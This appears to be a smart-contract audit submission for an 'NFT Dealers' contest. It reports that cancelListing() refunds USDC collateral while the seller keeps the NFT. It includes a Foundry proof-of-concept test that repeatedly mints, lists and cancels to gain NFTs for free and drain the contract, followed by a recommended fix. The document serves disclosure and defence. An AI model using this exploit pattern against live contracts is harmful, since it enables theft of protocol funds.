NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

### [C-1] `cancelListing()` returns collateral while NFT remains with seller, completely breaking the collateral mechanism

Author Revealed upon completion

Description: cancelListing() transfers collateralForMinting[tokenId] back to the seller upon cancellation, but the NFT stays in the seller's wallet. A user can mint an NFT, list it, cancel the listing, and receive their collateral back — all while keeping the NFT. This can be repeated for every minted NFT.

function cancelListing(uint256 _listingId) external {
// ...
s_listings[_listingId].isActive = false;
activeListingsCounter--;
@> usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
@> collateralForMinting[listing.tokenId] = 0;
// NFT is never transferred back or burned
}

Impact: Every whitelisted user can effectively mint NFTs for free by immediately listing and cancelling. The collateral mechanism — a core economic design of the protocol — is completely bypassed.

Proof of Concept:

An attacker with only 20 USDC can accumulate unlimited NFTs by repeatedly cycling through mint → list → cancel, recovering the collateral each time.

Run forge test --match-test test_poc_C1 -vvv to see the following output:

Logs:
After mint #1:
NFT owner: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
User USDC: 0
Contract USDC: 20000000
After list + cancel #1:
NFT owner: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
User USDC: 20000000
Contract USDC: 0
User NFT balance: 1
After list + cancel #2:
User USDC: 20000000
Contract USDC: 0
User NFT balance: 2

After mint #1, 20 USDC is locked in the contract. After list + cancel, the user recovers 20 USDC while still holding NFT #1. Using the recovered collateral to mint again and cancel, the attacker ends up with 2 NFTs, zero USDC spent, and the contract balance drained to zero.

PoC Test Code
function test_poc_C1_cancelReturnsCollateralWhileKeepingNFT() public {
// Setup
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
uint256 lockAmount = nftDealers.lockAmount(); // 20 USDC
// userWithCash starts with exactly 20 USDC
// Step 1: Mint NFT #1 — pays 20 USDC collateral
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmount);
nftDealers.mintNft();
vm.stopPrank();
console.log("After mint #1:");
console.log(" NFT owner: ", nftDealers.ownerOf(1));
console.log(" User USDC: ", usdc.balanceOf(userWithCash));
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
// Step 2: List then cancel → get 20 USDC back while keeping NFT
vm.prank(userWithCash);
nftDealers.list(1, uint32(1000e6));
vm.prank(userWithCash);
nftDealers.cancelListing(1);
console.log("After list + cancel #1:");
console.log(" NFT owner: ", nftDealers.ownerOf(1));
console.log(" User USDC: ", usdc.balanceOf(userWithCash));
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
console.log(" User NFT balance:", nftDealers.balanceOf(userWithCash));
// Step 3: Reuse recovered collateral to mint NFT #2
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmount);
nftDealers.mintNft();
vm.stopPrank();
vm.prank(userWithCash);
nftDealers.list(2, uint32(1000e6));
vm.prank(userWithCash);
nftDealers.cancelListing(2);
console.log("After list + cancel #2:");
console.log(" User USDC: ", usdc.balanceOf(userWithCash));
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
console.log(" User NFT balance:", nftDealers.balanceOf(userWithCash));
// Result: 2 NFTs acquired with only 20 USDC initial capital
assertEq(nftDealers.balanceOf(userWithCash), 2);
assertEq(usdc.balanceOf(userWithCash), lockAmount); // collateral fully recovered again
}

Recommended Mitigation: cancelListing() should not return the collateral. Collateral should only be returned via collectUsdcFromSelling() after the NFT is actually sold.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
- collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!